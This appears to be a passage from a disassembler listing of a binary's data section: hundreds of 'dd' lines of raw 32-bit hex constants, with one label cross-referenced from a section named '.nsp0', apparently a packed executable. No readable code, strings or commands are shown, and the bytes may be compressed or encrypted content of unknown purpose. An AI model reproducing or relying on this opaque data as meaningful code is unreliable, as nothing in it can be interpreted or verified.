dd 9B324320h, 0A610A30Ah, 1F0CBF26h, 0C6AFDDA4h, 5B55690Fh
dd 3A67754Ch, 3407A2C5h, 74234A9Ah, 9A0A56E1h, 0BEE826F9h
dd 8EEE565Ch, 27CE0E6Fh, 0FA5E38Ch, 9B8D571Ch, 891177CDh
dd 0C9ADCB59h, 4081BE4Dh, 19C14D07h, 9712D6D7h, 46CBB696h
dd 557FB269h, 0B9BEBB0Ch, 26586527h, 6BA80250h, 0ABD81BF0h
dd 6D795551h, 0DE52D974h, 309A68CCh, 0AC524115h, 616F9395h
dd 24A34E7Ch, 0BF166C0Eh, 0D0EBCC40h, 0C3C66545h, 0A743C64Bh
dd 0B9FAE1F6h, 2CCA674Ah, 0BEA65311h, 282EC54Dh, 0D2F47118h
dd 0EDFF501h, 8C8B3C25h, 3D64FD64h, 0DC0A81BBh, 902D7942h
dd 8412FC85h, 9A7B113h, 24BE8AECh, 4AE91C24h, 0CDB88D2h
dd 5435ABC0h, 9EE72AC5h, 0E34ED0FBh, 54180A8Ch, 324C8651h
dd 0B925EE90h, 0BB975469h, 75554FE9h, 87527400h, 0F04CDC88h
dd 0EE4AF654h, 58E8114Bh, 0B9F142A2h, 52DD1D27h, 0D659F732h
dd 7E385496h, 7911F8FDh, 0B03DEDEBh, 0D746326Dh, 0D87AB8F6h
dd 0C553975Fh, 0B75AA144h, 20C16229h, 0C418A12Ch, 4CF271E7h
dd 0ADD168B4h, 0C459D491h, 0E249190Ah, 0E72D9A81h, 71D9C004h
dd 44522F87h, 0D6E871DCh, 0F6C6D533h, 8212C70Eh, 0CD6C6B5Ah
dd 0DAB630Ah, 0A79D5521h, 0FAD167B4h, 0A45CE508h, 2C4838Eh
dd 5DCC24BCh, 65AD491Fh, 0FCED2281h, 0A9D85250h, 0E8466A92h
dd 0E3F5A70Ch, 0B14210A5h, 8FA31288h, 20E6E3C5h, 0B567BF52h
dd 96DFC850h, 9B539688h, 0DEBE4BEBh, 0DB9CBA47h, 0D7BBB018h
dd 56556B29h, 129C7C78h, 0EEF7698Ch, 2F47CCB9h, 6354CDAEh
dd 0AFD4342Ch, 6970BDA5h, 0FC219993h, 7028116Dh, 483C73F0h
dd 20E72052h, 8026F0A2h, 0CD9FC90Dh, 4430F59Fh, 0F8D39D92h
dd 3D538AB8h, 5711A032h, 2754CAE0h, 3A9E589Fh, 9176CC48h
dd 74771872h, 0BAF44CE2h, 0DE75D25Bh, 3A1C8476h, 87869AA8h
dd 0E7F3E25h, 0AFFA8CDAh, 0C5C3B768h, 0D30ABCC0h, 0FE6D19F2h
dd 0D1F7C27Ah, 0CFAEECD4h, 32958DDBh, 9D7C8483h, 0B6AAF08Bh
dd 27D4A150h, 0E14A84E2h, 25ED09A7h, 0D665360Dh, 7A7232E0h
dd 19CCF216h, 20B0B31Ch, 84AB30D8h, 0D4AA8AA2h, 0E633FCA0h
dd 2E3CF6E5h, 2DF2F0A2h, 8C940507h, 9BF5E837h, 6F1AE66Fh
dd 0CF715EF6h, 12340020h, 0E578E211h, 0E7F58C77h, 0A1245141h
dd 0BC555F3Bh, 9C5A1993h, 0FC97C026h, 89781142h, 4601ED4Fh
dd 8492E6A2h, 217EBFC9h, 0ECF8F304h, 5B52BEB4h, 8CD68C37h
dd 1A37ADFBh, 8BC60C2Ch, 1E518EB8h, 4CA1F1B0h, 207103A6h
dd 1F48B391h, 18B3498Dh, 8A3629E7h, 88467119h, 0A425F18Fh
dd 978C63DBh, 66EC33FEh, 1897C7E0h, 92780FC4h, 0ADFAD740h
dd 172A4032h, 8C328C8Fh, 65CA8B68h, 4E56937h, 7B7A2B9Bh
dd 196BBA75h, 64301201h, 20A58D96h, 9A0C9AD4h, 4A933AADh
dd 1A15A282h, 0E24FA5FDh, 0CAE95909h, 38134A7Dh, 4BD8087h
dd 738A3384h, 0D6A39E5Fh, 445D55D0h, 0B5512482h, 6C24252h
dd 0BA115784h, 0E2B46E30h, 79960D8Eh, 400F3D14h, 0C5E35540h
dd 3BB02052h, 0CF6DACh, 0BA4330CCh, 0C6A17E1h, 5AACDDC2h
dd 7D3E1B36h, 0FC47A3FCh
dd 0C6A0F681h, 7E1905D2h, 8752DF9Bh, 87C7BA06h, 0CFB650AAh
dd 91BB645Ch, 226775B0h, 47C27F30h, 841F6BC9h, 871323FAh
dd 826948D5h, 38B6BC9Fh, 881BA01Ah, 4F54CEBh, 0CCD95B79h
dd 0D0FEB0C0h, 0C321CD77h, 0DEE56A4Eh, 4F737896h, 0A8690A97h
dd 68FC30Ah, 0F815E14Bh, 1F3A290Bh, 2D2EB739h, 846153ECh
dd 54A7A4DCh, 30B67FE9h, 465FAA0Ah, 36498E64h, 0A535EA69h
dd 0A4A9B348h, 93937D6Ah, 0C33DBA11h, 0B6782A6Fh, 0BD1E4551h
dd 0AFC8D8D7h, 9C59ED19h, 83C2A2A1h, 602869Ch, 1FA3469h
dd 72222239h, 87F6BCF8h, 4E6CCE72h, 0D567907Ch, 6B5F7921h
dd 0F5447C6h, 0B6E8D230h, 0EEBDEE79h, 890FE953h, 0B5DBB5F4h
dd 0F4270D26h, 81E75B43h, 4F172A09h, 3F4D39FBh, 6E06AB8Eh
dd 0BF21BB86h, 0C19DECCFh, 0CCE93D6Ah, 0CA47C588h, 0BB1F1B9Eh
dd 13C86939h, 0CA1B4105h, 239877B5h, 0FEA04A2Ah, 0A8612E3Bh
dd 8C0C460Ah, 0EA1EA46Dh, 37A0D5ECh, 0CF106922h, 1409422Ch
dd 0EB41210h, 79CE3199h, 0FF62E3EDh, 4488D526h, 9ECC02A2h
dd 0C1E28896h, 9D06AE13h, 0FCB7D2C7h, 3A59FB8h, 0C6A07C77h
dd 68A16E83h, 7A073B1Eh, 1E79FE20h, 256A87B8h, 0C136C3F1h
dd 319C2C96h, 90D99369h, 0D4E4310Bh, 1F20CA46h, 0EB22E139h
dd 0F9A79C6Ch, 0BCF9B400h, 0CE963F49h, 0EE8C5D8Fh, 2232136Fh
dd 0D10F89BEh, 0E8AF1124h, 0E6C86584h, 0FD2A9E5Ah, 58958F0Dh
dd 0B29A3727h, 0DEC64FE9h, 673017Ah, 5CB72B4Ch, 11CCC53Ch
dd 8488373Ah, 653C9BF5h, 0B2FBDD96h, 93FB2D08h, 0E2EC6072h
dd 4CF214ECh, 0D3B16AF5h, 0F75A44A1h, 7F4445C8h, 128F6CA8h
dd 11FEC381h, 66E5158Ah, 11BEB898h, 659E77E5h, 3AC3715Ah
dd 873044BAh, 4C894A09h, 0AF367BD9h, 0C1E53EB5h, 0FBD0D772h
dd 0C6FDE847h, 0AEC569D4h, 0AFB2F0F3h, 2F79ED2Bh, 0CB9428F1h
dd 2ABC123Ah, 0D4E70A2Dh, 1378AFF7h, 0D6EEE333h, 8A459CE5h
dd 4A6CB2Bh, 0CFB33C32h, 6A2E9935h, 0A642BCCDh, 3A4762Dh
dd 0EDCCB290h, 992AE630h, 0E625D7ACh, 8245C6A2h, 707D63EBh
dd 0B0CF1AB0h, 2FA283A2h, 0AAC4D416h, 2FD24790h, 7633013Fh
dd 0A84D2653h, 0D7F942FEh, 5E54F891h, 0AD1C7A12h, 8690D7Eh
dd 0F888F2C0h, 1A8C64CBh, 0BE0B2921h, 3D5CF30h, 0C39E665Ah
dd 7DC136FCh, 2ACE64DCh, 2A98D711h, 0A7D5A256h, 961A9A0Dh
dd 0BEAB349Bh, 3D152D22h, 82A15CB2h, 63700F1Fh, 0D3768DAh
dd 0A1C6B4F8h, 279E8A2h, 1B9679C0h, 9D20C296h, 0B91F8366h
dd 60BD4D60h, 1C981B5Ah, 3E9460DCh, 20D00E62h, 0ED2BFC43h
dd 0E7719391h, 0B0207165h, 403C5BE2h, 0EDE652BBh, 861D6DFEh
dd 0B2258EAEh, 440C796Fh, 0F443E986h, 16B8C20Eh, 0D08BD39Ch
dd 8729D798h, 0D31E8DE4h, 18B86C7Eh, 8EFE7h, 987E0149h
dd 0CA87FC28h, 82EF6493h, 901C9C4Bh, 0B912C643h, 99D8991Bh
dd 0D707EA9h, 4A3CF479h, 95670766h, 1B43614Dh, 9248EEh
dd 0F05C90FBh, 66BE53E5h, 3679E4FFh, 0DFB7CBC4h, 0F3748BB0h
dd 0E422C196h, 0D2C9BEBCh, 0BADAEC1Fh, 2F10F4CEh, 0EB8B4BBBh
dd 53569F4Ch, 2017762Dh, 0FC7974C2h, 6E16C845h, 63605AD9h
dd 7F7C9586h, 0E8B52099h, 0F41DD4DEh, 0A5E55FFDh, 0DBDFEBB2h
dd 9A7E36CDh, 8E2F23E4h, 5708075Ch, 21DB067Dh, 16EE051Dh
dd 0CEA19029h, 1E5193F4h, 0E1D2975Dh, 6E14CA6Dh, 0AA3D5053h
dd 45AF22A8h, 6A8A741Bh, 4BAA6B1Bh, 7FB05A6Ah, 7BFC3861h
dd 5AAB1CBBh, 0FEF19FA8h, 0D28188Ch, 0AD957ADCh, 8EA237ACh
dd 0F1CAF3EAh, 0ACA6885Bh, 0AF318112h, 0A3C9F9C4h, 8350CB9Ah
dd 59DB5B0Bh, 8117BB8h, 4687B7B8h, 5943C701h, 88E9547Dh
dd 180C82CBh, 0F842112Eh, 8F009707h, 3A1D3847h, 0C572F4EFh
dd 73CAAA92h, 298E288Bh, 4C77404Eh, 0C91EEA2Ch, 409BA5DDh
dd 0C7EC709Fh, 0D975338Ch, 6DD2E710h, 0C4153399h, 0E0B5EE6Dh
dd 3D9825ABh, 717B245h, 0F08C1768h, 0E6E61375h, 0FFD0B11Fh
dd 918C6143h, 47030579h, 2B5AEA3h, 65D012D8h, 1B7B2054h
dd 0F7C0B386h, 61B1590Fh, 68E31284h, 88DA7D6h, 0A50B88A3h
dd 8A8FB1A3h, 0F93A940Eh, 82570E60h, 0FBFD456h, 285184A4h
dd 94160B26h, 6C6F051Fh, 3E9EEDB9h, 9132F331h, 59D68463h
dd 0A6621D17h, 0E1FA6EE2h, 7E9AEh, 3F3E8770h, 0C2BC8D33h
dd 415DB7C2h, 20E153B7h, 1C1D2FCFh, 0CE2C902Ch, 9B945041h
dd 572D8D74h, 9223097h, 0FFB4DE63h, 0F96FED2Eh, 0F32CF40Fh
dd 2C633E71h, 0C8AD7164h, 86DDC8B7h, 0CC276F68h, 68DB9537h
dd 0DEF8E10Fh, 0F22CA73Ah, 90E1ADA5h, 829E03ADh, 317C8D8Eh
dd 0DCB29B2Ch, 0CCA1C75Fh, 0D51F208Ah, 4A93E6BEh, 533565EFh
dd 661AFD69h, 2796D73h, 8837AE0Bh, 6A7C037Bh, 0A210C3A1h
dd 63762155h, 0D688739h, 9E714CB4h, 36B3C1D1h, 0E53A47CEh
dd 85CB7690h, 0C9269575h, 0F27D3D1Ch, 0A4F4CEA6h, 66D7475Eh
dd 119F01F9h, 1010F2AAh, 4B88D13Dh, 948F8243h, 0C1DCF572h
dd 7014585Bh, 34624C07h, 0E4637F07h, 0E40B0827h, 0FD38537Ch
dd 37D7D808h, 2C652215h, 711FD61Fh, 454054h, 0C09C9FD5h
dd 0F23E4E24h, 465FE61Dh, 8397EF50h, 0C5842427h, 733C7A4Ch
dd 0BDE8F870h, 0ACF2B90Eh, 5A2814A3h, 0F3978835h, 9DA20957h
dd 9EBE9C3Dh, 74321FC8h, 15A09AE9h, 0D37976F7h, 7D9BF01Dh
dd 8D925330h, 0F9D89CD5h, 90FD7455h, 1F8CF5E3h, 811699BDh
dd 7615C1F9h, 9F1452F6h, 9E39F272h, 3F35AF93h, 0FCF9ECBEh
dd 0C61E445Ch, 654295CCh, 7E9266B8h, 50B07449h, 4FEE5252h
dd 0FA6B0177h, 0A4ABE595h, 6F34F630h, 0FFDC17B8h, 876CB0A2h
dd 198436A9h, 2B2020F6h, 84D6AC20h, 19298A94h, 55E816DBh
dd 0BA234F5Eh, 37BAD095h, 1FC901F6h, 0F1E1E5ACh, 0ABE4701h
dd 0FF7BBB1Ch, 21890F8Ah, 228E6143h, 0B032C2CDh, 8383B130h
dd 219833D3h, 336A85A2h, 765EB93Bh, 0F9C01D29h, 8D280264h
dd 5631FD2h, 1371DF1Ah, 0E650FA4Eh, 0EC322A82h, 0B0C7FB85h
dd 2F565D06h, 0A2A66F79h, 9873104Eh, 0B58DC9A0h, 0F6F76670h
dd 0A481A507h, 36A37C71h, 7AED4513h, 2D29451Fh, 0ED987944h
dd 8C88C78Bh, 0F0005D92h, 0FBA62AB3h, 36E2C6E7h, 0EA4E778Ch
dd 78148365h, 2BEC9EACh, 65123FC6h, 58F352B4h, 0BBD8771h
dd 0B3C3AE5Bh, 0DDFB6ECCh, 93F334F1h, 6C7993DCh, 0B1CD4BE7h
dd 4E857EEBh, 0CB4B3640h, 8EA54694h, 0A8B2C058h, 73E14DBBh
dd 28C6F5EFh, 8BF36A2Eh, 91612D20h, 0C0C253F0h, 0A186E600h
dd 0CDF70586h, 0DB2BC6A3h, 60B6BE31h, 0E8F75FA6h, 0DF99F5DEh
dd 9C814E53h, 6B9F69EEh, 84591B34h, 0F8B0B598h, 931EBE53h
dd 9B8AE945h, 0C8A5B42Fh, 0C32627B6h, 22C50409h, 2A5A1AB8h
dd 0F47B1B8Eh, 2A732EDh, 97BFB675h, 0A5DCCDBh, 7E24EC0Ch
dd 225F22BDh, 0CD109355h, 3A65A32Ch, 2D0D1C0Eh, 0EB08A43Fh
dd 8BD18E25h, 0BAA1C973h, 0EF00562Ah, 0C171BEA4h, 0DEF2D32Ch
dd 0AE164446h, 483F375Ch, 7002F2CCh, 50C93609h, 8A1B4438h
dd 0CFAA237Ah, 96FA2A8Eh, 4A97C7BFh, 0CAB19E23h, 0BEC2878h
dd 58AEC3DFh, 0A7455387h, 7A200951h, 0D9296DC9h, 188C8976h
dword_4A0000 dd 0F9F0EC16h, 7B355603h, 2E2084Dh, 6104E15Eh, 6509B498h
; DATA XREF: .nsp0:00422470o
dd 0E5FBD252h, 4BAC1D33h, 629A6BE3h, 0A7DC1D60h, 4DF0AF80h
dd 6DD468E8h, 9D9F2C73h, 7421E695h, 8DC0343Dh, 7374F6C5h
dd 73DA021Ch, 0BEEA4AEEh, 2E1FB32Ah, 0BFE67EF8h, 0ADC29116h
dd 555D477Bh, 0EE491226h, 372B77C8h, 0C90F6A0Ah, 3D711FE6h
dd 7D6D074Fh, 20901739h, 0C37BA267h, 4970AC1Ch, 3826DAE7h
dd 6AAAD997h, 24D6D68Eh, 0D441B29Bh, 0E3EE3973h, 0DADD060Fh
dd 5A162E8Dh, 0BC8B904Eh, 154CD1E4h, 2DE9DC27h, 84723F7Ch
dd 79421A9Ah, 1718DF2Eh, 0D23ED58Dh, 3FBA5A1Dh, 9CC6C8E9h
dd 1ED48BFCh, 0DC1CABE3h, 29375B66h, 863572C5h, 0C8B94617h
dd 56693DE4h, 0BA23DDF5h, 5C79B79Bh, 0F9D5879Dh, 0B4FD3062h
dd 994A9D0Fh, 3B24E09h, 0EC98969h, 45278230h, 6B51F3B8h
dd 467B2408h, 22ED26B0h, 0DD48BCB9h, 34923141h, 78987C1Ah
dd 8BEFEA62h, 0BAB47C50h, 1B112387h, 6BCB0A80h, 0B48D8C85h
dd 92219DD6h, 9A7F27A7h, 1DF2542Dh, 1C19638Ch, 0FCAD8947h
dd 88FC81B4h, 77B701DCh, 0FA1930C6h, 73CCA6Ah, 1E2CF0B6h
dd 4E5E54F9h, 0A9563588h, 2DB6484Ah, 0BD63156Fh, 0F7E0860Ah
dd 2F711DE5h, 39CE7848h, 4EA844DDh, 0B12848A0h, 0E2BCBC00h
dd 1D0AE6BBh, 4E76A72Fh, 38C6B664h, 0CE118E94h, 528980ACh
dd 0E6D405FDh, 9F6D7D60h, 0F56CFE61h, 0C8271C05h, 4ED8C931h
dd 66DED2A5h, 0BE72FBE3h, 6AC19803h, 7858B70h, 3CAD89A4h
dd 0D45BB68Bh, 329E56BFh, 2A90C4F8h, 0E65EA695h, 1FCA6840h
dd 89C4A58Dh, 8370236Dh, 24B05BBDh, 78FF048h, 0A9665CAh
dd 0AB49991h, 0CA3B2D0Eh, 0B1BF2265h, 5732293Ch, 7F84DE21h
dd 9828AFBBh, 0ED7A6C5Dh, 4C3ED77Dh, 58C1BBE2h, 2D6A904Ch
dd 6268E3D9h, 0F5F3E3CFh, 59ADEA4Dh, 32D86A61h, 5B0F074Eh
dd 0C32969D5h, 7BECDCC7h, 2CC249E5h, 0C69E8C6Ch, 0CC781DE8h
dd 5CA70BABh, 9F4244F3h, 4517ADA9h, 0F6E8BB45h, 18217FE8h
dd 647B8753h, 0EE414DC5h, 0E951FAEh, 496C1A6Ch, 32D98DF3h
dd 7BD6A6D4h, 0DC14507Eh, 0D80FD2C5h, 4DD101EDh, 94176DF3h
dd 0DEA30035h, 93119938h, 9650A167h, 0CE0D2BACh, 0AF40430Ch
dd 31C08F2h, 803AE34h, 0A98C1D74h, 0D4F85DA8h, 19AA4624h
dd 0C4A4E840h, 1217F341h, 52DB5530h, 409AA4A5h, 9F9449E1h
dd 0BCDB5738h, 0FB9FEB53h, 749F4959h, 7BC4A861h, 8C5E8CE6h
dd 4B9D124Ch, 9905895Fh, 6382252Eh, 0BF022C37h, 90C5CFF7h
dd 0F49A4ABAh, 0B4E4134Ah, 168C268Eh, 65088CA3h, 0EBB3DFDEh
dd 0D3E4513Bh, 8A1204D8h, 610B16A3h, 2D9F6549h, 0C8B99784h
dd 44ACA279h, 0EB53077h, 521B51BDh, 0C517CEF4h, 1423B44Eh
dd 0A5C0D29Ah, 5A8AB341h, 710FA9CEh, 8DA958AFh, 0E5EEF8BDh
dd 1C6A5472h, 6671E08Ch, 8715AFEAh, 8821EA11h, 7F3ECA7Dh
dd 0AEC07CFAh, 15DC6380h, 7C0807FDh, 0A1A5A6FAh, 0D4C54D47h
dd 0F6407154h, 80C9F5CDh, 0A8F7F56Dh, 0BE470E24h, 0C6DE7BFh
dd 63D8583h, 5E04294Ah, 0F828EAD6h, 12FB2BE9h, 8BF00A1Fh
dd 9BF0886Eh, 15CA8F82h, 0B2555CE7h, 0C5ABE2Eh, 8F7A028Ch
dd 230E7589h, 7A62D5A5h, 836D231h, 4E7A25C0h, 7D0E5F4Dh
dd 42B440ADh, 56E3C043h, 0CE23FF2Eh, 1BB4F929h, 5AA6F8D3h
dd 0E4F5CC3Dh, 0F39B341Ch, 7B4BA435h, 0A3AC783Ah, 0B09B569h
dd 0A97BD6DBh, 30577729h, 4FC4D7B0h, 8DA11814h, 1722F29Fh
dd 0A45686BDh, 1619ABD9h, 0FB77AC14h, 9FF89F2Fh, 0AD070968h
dd 9EA6D0Dh, 9ED08E42h, 139A3AAEh, 5708A589h, 682C062Ah
dd 0EBB77FC2h, 0BFC6DE21h, 0E85CD817h, 95E6CB96h, 617F497h
dd 0C077B29Ch, 9AB8A0EEh, 94B514D5h, 0D6B91D74h, 573ED613h
dd 32B9426Eh, 3C0138BDh, 46515F98h, 0F0BAC079h, 8266328Ch
dd 0E1F3D2F7h, 1EF0F446h, 26EDD0D1h, 0B820AE49h, 8BE687A9h
dd 7964A810h, 47970196h, 0B9AF8D17h, 1C7BC20Bh, 35B2C82Fh
dd 99202729h, 8614C4F7h, 0D6037D5Dh, 83A900EAh, 0D9198397h
dd 33C4C67Dh, 9BBA8B86h, 42FC7854h, 0AD0D92C7h, 672041DDh
dd 94734620h, 3A467206h, 1135D6B7h, 0B89494C4h, 0DC65E1FAh
dd 879352AEh, 0EA5F3F58h, 713EA64h, 0E839B751h, 8F5602B7h
dd 0A346E353h, 13AACD01h, 3F292C22h, 2DC1D3A6h, 0CE668692h
dd 69DD6F31h, 0A9C1D958h, 0F17D83A0h, 27F8EB41h, 0FCDF0F3Eh
dd 88C22246h, 26DB891h, 26EF1605h, 3BC82EAAh, 3B8B3F3Bh
dd 0ABC7205Ch, 6DD67807h, 60F6159Ch, 12E250BEh, 0EABDDC73h
dd 0C6510EB7h, 6FAB0510h, 7FE3FAD7h, 0B29BA3DBh, 0B37C109Eh
dd 0FB117280h, 6D47442Dh, 0AABB92DFh, 0F4DA3D75h, 447F2159h
dd 0F777670Eh, 0D9953BFDh, 0BC076935h, 2F8489A9h, 0A10CD143h
dd 2E9558F8h, 0D88162A2h, 0CF139602h, 1980CB9Ah, 76114BEBh
dd 0C0051795h, 85E04308h, 0E175599h, 0F994F97Fh, 0B6278CDBh
dd 0A0AF3750h, 7EEC95FFh, 4AF2891Fh, 95C22EFBh, 0B4927449h
dd 0D9CCB8ABh, 20BF8D3Bh, 5012FE95h, 9C65530Fh, 0AAB1B320h
dd 4E3EF614h, 0FCD2C515h, 0E3925FFFh, 1E6D8DFCh, 51BEDF92h
dd 64214502h, 7613B75h, 0B801716Dh, 0F48DCBC2h, 876D015Dh
dd 0D1E886E7h, 9D9634A3h, 0DA023EA1h, 0B9CEB2C8h, 1D84A828h
dd 233E17E3h, 0EDECA69Fh, 671A0C60h, 7ABD8024h, 12DC7BE8h
dd 0A2AE1508h, 0B9ECAC39h, 1A21CE3Ah, 0BED41567h, 7DCB0E65h
dd 0F4F483EDh, 0B4B9A634h, 0EA7FC369h, 0CCE909BBh, 9FDAF63Dh
dd 0A8270F07h, 6FED0425h, 0AD1B9B5Eh, 943065A3h, 6BE41490h
dd 60615ACh, 620BDCFFh, 3FCF0B30h, 0C5BF5DD0h, 8F983A7Eh
dd 1BF2AA15h, 0F4D2F90Bh, 0B04B69B7h, 8CBB6A19h, 2ACD33D7h
dd 94121BA2h, 34A94A8Eh, 8C58F8D0h, 78AC1F5Dh, 0E9C717A8h
dd 0D260544Fh, 4BFB2C87h, 7CFA25FCh, 5B32BB1Bh, 0F13A2B9Eh
dd 0C9EFB20Bh, 56B894EAh, 0DD2650FCh, 3A783458h, 6BD2A083h
dd 47D87B21h, 0C6711192h, 797321BCh, 4EFA08F3h, 3CB80442h
dd 5B2C0F81h, 5423745Ah, 0E09F96B7h, 2106DFE3h, 18C557E6h
dd 0BCA35EC3h, 0CE686367h, 609B770Bh, 6EBD92B9h, 0BE564BAAh
dd 0C0E0422Dh, 8C0B117Eh, 0B755E636h, 4F3D8612h, 52584094h
dd 0BAC13FACh, 26A48835h, 0B450D25Fh, 0BD00B800h, 0DEEE62DCh
dd 9F7069B9h, 0F1F75B14h, 0FC2AF4BDh, 30AB9E69h, 0F359A154h
dd 52E69093h, 0DBDD617Ah, 0E35A672Ah, 0BFB8B50Ah, 0CA12086Eh
dd 2647A6D6h, 0E368BD38h, 0CB48207Fh, 60566FABh, 8A0FDE4Ch
dd 0F889CCCDh, 0F62F4934h, 6E02320Eh, 0D0254188h, 4E7A4576h
dd 9567D786h, 0BAED611Dh, 96EF703Ah, 831C73A7h, 6ACCA58Bh
dd 6729A839h, 8DF2532Dh, 5DBFFE12h, 0CE4E21F9h, 2E33F9F6h
dd 0F05C4764h, 5DC03B3h, 9DB465CFh, 0CEABD012h, 16B0B11Ch
dd 15E6A8D0h, 0E55E789Fh, 0B3FE3879h, 8117E4FAh, 85E438C4h
dd 4AF16513h, 2DDFF34Ah, 78943E57h, 0C0D1392Eh, 0A1239DCCh
dd 4DCAD690h, 6D157368h, 3BDC7C22h, 0F99989EAh, 22FDB585h
dd 2B46BA63h, 4B7078EDh, 61EB63B2h, 1E53A648h, 0F0828030h
dd 0E5973B0Fh, 0A3C0098Fh, 0F4AC6D4Eh, 0B4FC9AC2h, 7124C8EDh
dd 1B83C4DCh, 0FAF00B73h, 0ABD2DA63h, 3459A96Fh, 205F91BBh
dd 0CDDEE14Ch, 9DBAB6D7h, 4823DF49h, 0D2EC3E5Fh, 8600B171h
dd 1DCE6AE0h, 9A1DFBDFh, 8EA1BB39h, 53E39CBh, 80952623h
dd 31C34EDAh, 46BF74Fh
dd 0B9C59E5Ch, 5DCDE910h, 0E2061759h, 0DD7878Bh, 0CF342098h
dd 0FFA00598h, 0EDB3FB20h, 61A26D47h, 51F4D040h, 6D6BE4A5h
dd 0A5C5107Ah, 0ACDDA76Eh, 4AE41233h, 88D11B21h, 0DC6B4A9Ah
dd 1AAD7B8Ah, 0DBE08133h, 0CBA43CFCh, 660D307Eh, 0AF07A7F6h
dd 0A30EF68Ah, 0A48024A5h, 0FD224A37h, 28C7A9F7h, 633EDFDCh
dd 6694E2EAh, 48C1D108h, 6EE4CCDh, 9888DD1Bh, 73067B5Ah
dd 96C9138Ah, 0EB3CB624h, 830007D9h, 7F826C19h, 331DE453h
dd 0E1610035h, 86644528h, 9ACB4A7Fh, 52370141h, 660F416Eh
dd 85D5A55Ah, 85A1DAD3h, 10288DC5h, 0E94E7D53h, 44163733h
dd 0CA168803h, 0EDA6F913h, 6964CF66h, 0A0B60B94h, 91E34E73h
dd 0BA0F95D2h, 8BC2949Ah, 53E1A6Eh, 3455DC45h, 9487A67Dh
dd 0E401F453h, 4CC9AF6h, 894D35A1h, 423C132Dh, 6D8DC83Ch
dd 4168E89Ch, 0F82F30A7h, 144947D9h, 58174D2Ah, 40FCCF93h
dd 699F874Dh, 0DA402F63h, 96FF79AEh, 0F29EB733h, 70431D32h
dd 95565E3Ah, 368CC5FFh, 0AAB8BFDCh, 0EA8F24BCh, 0A9452E22h
dd 23B453ADh, 1F02D428h, 0B1D4413Eh, 55226426h, 9BD93617h
dd 0F261840Ah, 0A0C836FDh, 1FEE0FFh, 1E4E840Fh, 9EBEC280h
dd 172863E7h, 3C228F1Dh, 0EBA09A15h, 0C19745A6h, 28675B6h
dd 2A180139h, 86AAE71Dh, 0D0D53D4Ch, 3F4AE56Dh, 0D79E1585h
dd 6E4FB4EDh, 0A383810Fh, 0BE54EAC4h, 0E332228Ah, 0A930301h
dd 10BF9A64h, 0D4680D9Bh, 1B2CFF5h, 4D2D7146h, 497EA680h
dd 3E24FFBCh, 399BD514h, 8218A598h, 0B6CD7DE9h, 0FE4E6AC0h
dd 0CEDCD423h, 0AC58F7B8h, 0EF7203F7h, 0D40B4067h, 9B2BB6A0h
dd 3773DEE0h, 95DEB48Dh, 0CB5986C8h, 9E506C5Ch, 90DAAFEBh
dd 0BF0991A2h, 0E7C24C60h, 8054EB64h, 0D480724Fh, 0CBE2963h
dd 0E9ABF0F1h, 0ABE96AD6h, 0F3E24F9Bh, 0D01334D0h, 58D625B7h
dd 622048EFh, 0C5DD25E3h, 0CB93A704h, 0DE8E0060h, 8C5847AFh
dd 1B17B838h, 0EB665D78h, 0AA38FF8Dh, 470BC0B6h, 0D4FD8145h
dd 9E514916h, 0A391953Dh, 0C296F643h, 0D6210A73h, 347A137Dh
dd 0E1EC1B8Eh, 61347828h, 0D045B654h, 44A657h, 516DBC80h
dd 754A4B59h, 7BB0FCAAh, 23CE8AEDh, 0B0E89168h, 0DEF9AE6h
dd 2B2A7E6Ch, 0FAE799B5h, 0DEAB2313h, 7D6A9E3Ah, 0FD9AA854h
dd 0F7388C38h, 30E5306Eh, 4E079317h, 0CDDB40B2h, 6311809Dh
dd 0FCF03045h, 0F573A5A2h, 0C9207E74h, 2C27D40Fh, 6560338Bh
dd 6164B05Bh, 6DE0498Dh, 0BF3789Eh, 0D05077C5h, 0B6CD55DEh
dd 0E134605Ah, 0F9EAB1B6h, 0AB4609C1h, 9E7E5C0Ah, 2C32FB0Fh
dd 0AFEAE870h, 304131ADh, 0E490A8C6h, 0FDE46881h, 0BFC9FD8Bh
dd 50765469h, 8D9D8FF1h, 40F18310h, 7BA778ACh, 0ADDED649h
dd 0BF859768h, 0A51FD5E0h, 3BA51340h, 6CF7368Bh, 185163B0h
dd 0A8BD19B1h, 15A981ADh, 6B02D77h, 0D5FC4F5h, 43477031h
dd 68022BA6h, 0EC882633h, 3F68FA03h, 40077FEAh, 87D5DF67h
dd 10BC9D4Ah, 0AA9AD9DFh, 0FDD6A73Ah, 0CD6DBAE0h, 0FCCEE012h
dd 0A1EC54Dh, 32E9F77Bh, 0BFBC3441h, 0E50AD4A8h, 0D6BF24AFh
dd 6ADDE411h, 228DF8B7h, 0B3900321h, 806B1B3Fh, 0B557B676h
dd 4DBA4465h, 0F2DD8279h, 4E3D6138h, 7B221D00h, 0FD1DC2B3h
dd 0E365A4ABh, 465C2067h, 0CA89C81h, 5494DD23h, 3C666E08h
dd 0E9B455DCh, 0ADCA2682h, 0B00D1553h, 0A2F299CFh, 72E4A81Ch
dd 4C790F93h, 2E66F2F2h, 187EF267h, 0E284150Ah, 0ED454550h
dd 0E1CC7249h, 30E29BEEh, 759DB8C6h, 4A42213Dh, 0D34870C7h
dd 0FE48845Eh, 4E1D7964h, 0D4C169E5h, 0F70237AEh, 54DB627Eh
dd 0E4870531h, 907FE9BCh, 0D5D754E1h, 529D823h, 51AC042Fh
dd 0BCA9DB21h, 0FDE7E3D5h, 0F8518942h, 0A4A570A5h, 0C4B112A4h
dd 47DED221h, 6022635Fh, 0F52C4253h, 91058C57h, 0D9CB95CEh
dd 0A79A2B29h, 0F453BCEBh, 73AB4B95h, 0A2287F63h, 88035462h
dd 3B546B1Bh, 2AF9C8ACh, 6A6242B7h, 0DBAEBDE3h, 0F89F30A9h
dd 97ACF4BCh, 2C1E73AFh, 90F746DEh, 0F554CDh, 0BE7A9F3Bh
dd 0BBFA63CDh, 54011A9Fh, 9546FFF2h, 4B2CF5A5h, 99C7F7FEh
dd 0E65EF753h, 12E376EBh, 0C0DF6CBBh, 7C8B6319h, 0C7334A72h
dd 0FD5635D2h, 31DE1987h, 19E1C3E2h, 1EFF5EBBh, 6E483AD3h
dd 0C8E9A138h, 3238FFE1h, 2F5FD21Fh, 6780B4CDh, 18D813CDh
dd 0E34A0370h, 0CF5FC8A8h, 9FE6C3E6h, 93D0C5CCh, 0EF7D3135h
dd 658FC02Fh, 37600629h, 0E13C5E85h, 9857CABEh, 0AB0B63E6h
dd 0DD12C252h, 121FBD5Eh, 2E696AFFh, 0D07F93Eh, 146EFF49h
